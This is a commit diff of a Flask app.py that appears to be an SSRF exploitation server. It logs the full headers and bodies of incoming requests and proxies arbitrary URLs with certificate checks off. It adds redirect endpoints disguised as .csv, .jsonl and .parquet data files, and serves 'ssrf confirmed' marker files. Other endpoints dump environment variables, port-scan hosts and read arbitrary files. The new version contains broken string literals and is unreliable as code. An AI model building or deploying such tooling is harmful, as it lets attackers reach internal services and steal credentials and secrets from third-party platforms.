FIRSTACCOUNT69 commited on
Commit
755f34f
·
verified ·
1 Parent(s): 35c128f

Add redirect endpoints with file extensions

Browse files
Files changed (1) hide show
  1. app.py +145 -143
app.py CHANGED
@@ -4,221 +4,223 @@ import requests, os, socket, json, time
4
  app = Flask(__name__)
5
  LOG = []
6
 
7
- @app.route('/')
8
  def index():
9
- return 'OK'
10
 
11
- @app.route('/log', methods=['GET', 'POST', 'PUT', 'DELETE', 'PATCH'])
12
  def log_request():
13
  entry = {
14
- 'time': time.time(),
15
- 'method': request.method,
16
- 'path': request.full_path,
17
- 'headers': dict(request.headers),
18
- 'body': request.get_data(as_text=True)[:2000],
19
- 'remote_addr': request.remote_addr
20
  }
21
  LOG.append(entry)
22
- return 'logged'
23
 
24
- @app.route('/logs')
25
  def show_logs():
26
- return jsonify(LOG[-100:])
27
 
28
- @app.route('/clear-logs')
29
  def clear_logs():
30
  LOG.clear()
31
- return 'cleared'
32
 
33
- @app.route('/fetch')
34
  def fetch():
35
- url = request.args.get('url', '')
36
  headers = {}
37
- for h in request.args.get('headers', '').split(','):
38
- if ':' in h:
39
- k, v = h.split(':', 1)
40
- headers[k] = v.replace('+', ' ')
41
  try:
42
  r = requests.get(url, headers=headers, timeout=5, verify=False)
43
- return r.text, r.status_code, {'Content-Type': 'text/plain'}
44
  except Exception as e:
45
  return str(e), 500
46
 
47
- @app.route('/redir')
48
  def redir():
49
- target = request.args.get('url', '/')
50
- code = int(request.args.get('code', '302'))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
51
  return redirect(target, code=code)
52
 
53
  # Smart proxy CSV: fetches any URL and returns result as CSV
54
- @app.route('/proxy-csv.csv')
55
  def proxy_csv():
56
- target = request.args.get('t', '')
57
  entry = {
58
- 'time': time.time(),
59
- 'method': request.method,
60
- 'path': request.full_path,
61
- 'headers': dict(request.headers),
62
- 'remote_addr': request.remote_addr
63
  }
64
  LOG.append(entry)
65
  if not target:
66
- return 'text\nno target specified\n', 200, {'Content-Type': 'text/csv'}
 
 
67
  try:
68
  r = requests.get(target, timeout=10, verify=False)
69
- # Wrap response as CSV
70
- lines = r.text.split('\n')[:100]
71
- csv_data = 'text\n' + '\n'.join(f'"{line}"' for line in lines if line.strip()) + '\n'
72
- return csv_data, 200, {'Content-Type': 'text/csv'}
73
  except Exception as e:
74
- return f'text\nerror: {str(e)}\n', 200, {'Content-Type': 'text/csv'}
75
 
76
- # Smart proxy JSONL: fetches any URL and returns result as JSONL
77
- @app.route('/proxy-jsonl.jsonl')
78
  def proxy_jsonl():
79
- target = request.args.get('t', '')
80
  entry = {
81
- 'time': time.time(),
82
- 'method': request.method,
83
- 'path': request.full_path,
84
- 'headers': dict(request.headers),
85
- 'remote_addr': request.remote_addr
86
  }
87
  LOG.append(entry)
88
  if not target:
89
- return '{"text": "no target"}\n', 200, {'Content-Type': 'application/jsonl'}
90
  try:
91
  r = requests.get(target, timeout=10, verify=False)
92
- lines = r.text.split('\n')[:100]
93
- jsonl_data = '\n'.join(json.dumps({"text": line}) for line in lines if line.strip()) + '\n'
94
- return jsonl_data, 200, {'Content-Type': 'application/jsonl'}
95
  except Exception as e:
96
- return json.dumps({"text": f"error: {str(e)}"}) + '\n', 200, {'Content-Type': 'application/jsonl'}
97
 
98
- @app.route('/mcp-proxy', methods=['GET', 'POST'])
99
- def mcp_proxy():
100
- target = request.args.get('target', '')
101
  entry = {
102
- 'time': time.time(),
103
- 'method': request.method,
104
- 'path': request.full_path,
105
- 'headers': dict(request.headers),
106
- 'body': request.get_data(as_text=True)[:2000],
107
- 'remote_addr': request.remote_addr
108
  }
109
  LOG.append(entry)
110
- if target:
111
- try:
112
- r = requests.get(target, timeout=5, verify=False)
113
- return Response(
114
- f"data: {json.dumps({'result': r.text[:5000], 'status': r.status_code})}\n\n",
115
- content_type='text/event-stream'
116
- )
117
- except Exception as e:
118
- return Response(
119
- f"data: {json.dumps({'error': str(e)})}\n\n",
120
- content_type='text/event-stream'
121
- )
122
- return jsonify({"status": "ok"})
123
 
124
- @app.route('/env')
 
 
 
 
 
 
 
 
 
 
 
 
 
125
  def env():
126
  return jsonify(dict(os.environ))
127
 
128
- @app.route('/scan')
129
  def scan():
130
- host = request.args.get('host', '')
131
- ports = request.args.get('ports', '80,443').split(',')
132
- timeout = float(request.args.get('timeout', '1'))
133
  results = {}
134
  for p in ports:
135
  try:
136
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
137
  s.settimeout(timeout)
138
  r = s.connect_ex((host, int(p)))
139
- results[p] = 'open' if r == 0 else 'closed'
140
  s.close()
141
  except Exception as e:
142
  results[p] = str(e)
143
  return jsonify(results)
144
 
145
- @app.route('/resolve')
146
  def resolve():
147
- host = request.args.get('host', '')
148
  try:
149
- return jsonify({'ip': socket.gethostbyname(host), 'host': host})
150
  except Exception as e:
151
- return jsonify({'error': str(e)})
152
 
153
- @app.route('/curl')
154
- def do_curl():
155
- url = request.args.get('url', '')
156
- method = request.args.get('method', 'GET')
157
- try:
158
- r = requests.request(method, url, timeout=10, verify=False)
159
- return r.text, r.status_code
160
- except Exception as e:
161
- return str(e), 500
162
-
163
- @app.route('/readfile')
164
  def readfile():
165
- path = request.args.get('path', '')
166
  try:
167
- with open(path, 'r') as f:
168
- return f.read()[:10000], 200, {'Content-Type': 'text/plain'}
169
  except Exception as e:
170
  return str(e), 500
171
 
172
- @app.route('/listdir')
173
  def listdir():
174
- path = request.args.get('path', '/')
175
  try:
176
  entries = os.listdir(path)
177
  return jsonify(entries)
178
  except Exception as e:
179
- return jsonify({'error': str(e)})
180
-
181
- @app.route('/post')
182
- def do_post():
183
- url = request.args.get('url', '')
184
- body = request.args.get('body', '')
185
- ct = request.args.get('ct', 'application/json')
186
- headers = {'Content-Type': ct}
187
- for h in request.args.get('headers', '').split(','):
188
- if ':' in h:
189
- k, v = h.split(':', 1)
190
- headers[k] = v.replace('+', ' ')
191
- try:
192
- r = requests.post(url, data=body, headers=headers, timeout=10, verify=False)
193
- return r.text, r.status_code, {'Content-Type': 'text/plain'}
194
- except Exception as e:
195
- return str(e), 500
196
-
197
- @app.route('/data.csv')
198
- def serve_csv():
199
- entry = {
200
- 'time': time.time(),
201
- 'method': request.method,
202
- 'path': request.full_path,
203
- 'headers': dict(request.headers),
204
- 'body': request.get_data(as_text=True)[:2000],
205
- 'remote_addr': request.remote_addr
206
- }
207
- LOG.append(entry)
208
- return 'text\nhello world\nssrf confirmed\n', 200, {'Content-Type': 'text/csv'}
209
-
210
- @app.route('/data.jsonl')
211
- def serve_jsonl():
212
- entry = {
213
- 'time': time.time(),
214
- 'method': request.method,
215
- 'path': request.full_path,
216
- 'headers': dict(request.headers),
217
- 'body': request.get_data(as_text=True)[:2000],
218
- 'remote_addr': request.remote_addr
219
- }
220
- LOG.append(entry)
221
- return '{"text": "hello world"}\n{"text": "ssrf confirmed"}\n', 200, {'Content-Type': 'application/jsonl'}
222
 
223
- if __name__ == '__main__':
224
- app.run(host='0.0.0.0', port=7860)
 
4
  app = Flask(__name__)
5
  LOG = []
6
 
7
+ @app.route("/")
8
  def index():
9
+ return "OK"
10
 
11
+ @app.route("/log", methods=["GET", "POST", "PUT", "DELETE", "PATCH"])
12
  def log_request():
13
  entry = {
14
+ "time": time.time(),
15
+ "method": request.method,
16
+ "path": request.full_path,
17
+ "headers": dict(request.headers),
18
+ "body": request.get_data(as_text=True)[:2000],
19
+ "remote_addr": request.remote_addr
20
  }
21
  LOG.append(entry)
22
+ return "logged"
23
 
24
+ @app.route("/logs")
25
  def show_logs():
26
+ return jsonify(LOG[-200:])
27
 
28
+ @app.route("/clear-logs")
29
  def clear_logs():
30
  LOG.clear()
31
+ return "cleared"
32
 
33
+ @app.route("/fetch")
34
  def fetch():
35
+ url = request.args.get("url", "")
36
  headers = {}
37
+ for h in request.args.get("headers", "").split(","):
38
+ if ":" in h:
39
+ k, v = h.split(":", 1)
40
+ headers[k] = v.replace("+", " ")
41
  try:
42
  r = requests.get(url, headers=headers, timeout=5, verify=False)
43
+ return r.text, r.status_code, {"Content-Type": "text/plain"}
44
  except Exception as e:
45
  return str(e), 500
46
 
47
+ @app.route("/redir")
48
  def redir():
49
+ target = request.args.get("url", "/")
50
+ code = int(request.args.get("code", "302"))
51
+ entry = {
52
+ "time": time.time(),
53
+ "method": request.method,
54
+ "path": request.full_path,
55
+ "headers": dict(request.headers),
56
+ "remote_addr": request.remote_addr
57
+ }
58
+ LOG.append(entry)
59
+ return redirect(target, code=code)
60
+
61
+ # Redirect endpoint that looks like a CSV file
62
+ @app.route("/redir-data.csv")
63
+ def redir_csv():
64
+ target = request.args.get("t", "/")
65
+ code = int(request.args.get("code", "302"))
66
+ entry = {
67
+ "time": time.time(),
68
+ "method": request.method,
69
+ "path": request.full_path,
70
+ "headers": dict(request.headers),
71
+ "remote_addr": request.remote_addr
72
+ }
73
+ LOG.append(entry)
74
+ return redirect(target, code=code)
75
+
76
+ # Redirect that looks like a JSONL file
77
+ @app.route("/redir-data.jsonl")
78
+ def redir_jsonl():
79
+ target = request.args.get("t", "/")
80
+ code = int(request.args.get("code", "302"))
81
+ entry = {
82
+ "time": time.time(),
83
+ "method": request.method,
84
+ "path": request.full_path,
85
+ "headers": dict(request.headers),
86
+ "remote_addr": request.remote_addr
87
+ }
88
+ LOG.append(entry)
89
+ return redirect(target, code=code)
90
+
91
+ # Redirect that looks like a parquet file
92
+ @app.route("/redir-data.parquet")
93
+ def redir_parquet():
94
+ target = request.args.get("t", "/")
95
+ code = int(request.args.get("code", "302"))
96
+ entry = {
97
+ "time": time.time(),
98
+ "method": request.method,
99
+ "path": request.full_path,
100
+ "headers": dict(request.headers),
101
+ "remote_addr": request.remote_addr
102
+ }
103
+ LOG.append(entry)
104
  return redirect(target, code=code)
105
 
106
  # Smart proxy CSV: fetches any URL and returns result as CSV
107
+ @app.route("/proxy-csv.csv")
108
  def proxy_csv():
109
+ target = request.args.get("t", "")
110
  entry = {
111
+ "time": time.time(),
112
+ "method": request.method,
113
+ "path": request.full_path,
114
+ "headers": dict(request.headers),
115
+ "remote_addr": request.remote_addr
116
  }
117
  LOG.append(entry)
118
  if not target:
119
+ return "text
120
+ no target specified
121
+ ", 200, {"Content-Type": "text/csv"}
122
  try:
123
  r = requests.get(target, timeout=10, verify=False)
124
+ lines = r.text.split("\n")[:100]
125
+ csv_data = "text\n" + "\n".join(f""{line}"" for line in lines if line.strip()) + "\n"
126
+ return csv_data, 200, {"Content-Type": "text/csv"}
 
127
  except Exception as e:
128
+ return f"text\nerror: {str(e)}\n", 200, {"Content-Type": "text/csv"}
129
 
130
+ # Smart proxy JSONL
131
+ @app.route("/proxy-jsonl.jsonl")
132
  def proxy_jsonl():
133
+ target = request.args.get("t", "")
134
  entry = {
135
+ "time": time.time(),
136
+ "method": request.method,
137
+ "path": request.full_path,
138
+ "headers": dict(request.headers),
139
+ "remote_addr": request.remote_addr
140
  }
141
  LOG.append(entry)
142
  if not target:
143
+ return "{"text": "no target"}\n", 200, {"Content-Type": "application/jsonl"}
144
  try:
145
  r = requests.get(target, timeout=10, verify=False)
146
+ lines = r.text.split("\n")[:100]
147
+ jsonl_data = "\n".join(json.dumps({"text": line}) for line in lines if line.strip()) + "\n"
148
+ return jsonl_data, 200, {"Content-Type": "application/jsonl"}
149
  except Exception as e:
150
+ return json.dumps({"text": f"error: {str(e)}"}) + "\n", 200, {"Content-Type": "application/jsonl"}
151
 
152
+ @app.route("/data.csv")
153
+ def serve_csv():
 
154
  entry = {
155
+ "time": time.time(),
156
+ "method": request.method,
157
+ "path": request.full_path,
158
+ "headers": dict(request.headers),
159
+ "body": request.get_data(as_text=True)[:2000],
160
+ "remote_addr": request.remote_addr
161
  }
162
  LOG.append(entry)
163
+ return "text\nhello world\nssrf confirmed\n", 200, {"Content-Type": "text/csv"}
 
 
 
 
 
 
 
 
 
 
 
 
164
 
165
+ @app.route("/data.jsonl")
166
+ def serve_jsonl():
167
+ entry = {
168
+ "time": time.time(),
169
+ "method": request.method,
170
+ "path": request.full_path,
171
+ "headers": dict(request.headers),
172
+ "body": request.get_data(as_text=True)[:2000],
173
+ "remote_addr": request.remote_addr
174
+ }
175
+ LOG.append(entry)
176
+ return "{"text": "hello world"}\n{"text": "ssrf confirmed"}\n", 200, {"Content-Type": "application/jsonl"}
177
+
178
+ @app.route("/env")
179
  def env():
180
  return jsonify(dict(os.environ))
181
 
182
+ @app.route("/scan")
183
  def scan():
184
+ host = request.args.get("host", "")
185
+ ports = request.args.get("ports", "80,443").split(",")
186
+ timeout = float(request.args.get("timeout", "1"))
187
  results = {}
188
  for p in ports:
189
  try:
190
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
191
  s.settimeout(timeout)
192
  r = s.connect_ex((host, int(p)))
193
+ results[p] = "open" if r == 0 else "closed"
194
  s.close()
195
  except Exception as e:
196
  results[p] = str(e)
197
  return jsonify(results)
198
 
199
+ @app.route("/resolve")
200
  def resolve():
201
+ host = request.args.get("host", "")
202
  try:
203
+ return jsonify({"ip": socket.gethostbyname(host), "host": host})
204
  except Exception as e:
205
+ return jsonify({"error": str(e)})
206
 
207
+ @app.route("/readfile")
 
 
 
 
 
 
 
 
 
 
208
  def readfile():
209
+ path = request.args.get("path", "")
210
  try:
211
+ with open(path, "r") as f:
212
+ return f.read()[:10000], 200, {"Content-Type": "text/plain"}
213
  except Exception as e:
214
  return str(e), 500
215
 
216
+ @app.route("/listdir")
217
  def listdir():
218
+ path = request.args.get("path", "/")
219
  try:
220
  entries = os.listdir(path)
221
  return jsonify(entries)
222
  except Exception as e:
223
+ return jsonify({"error": str(e)})
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
224
 
225
+ if __name__ == "__main__":
226
+ app.run(host="0.0.0.0", port=7860)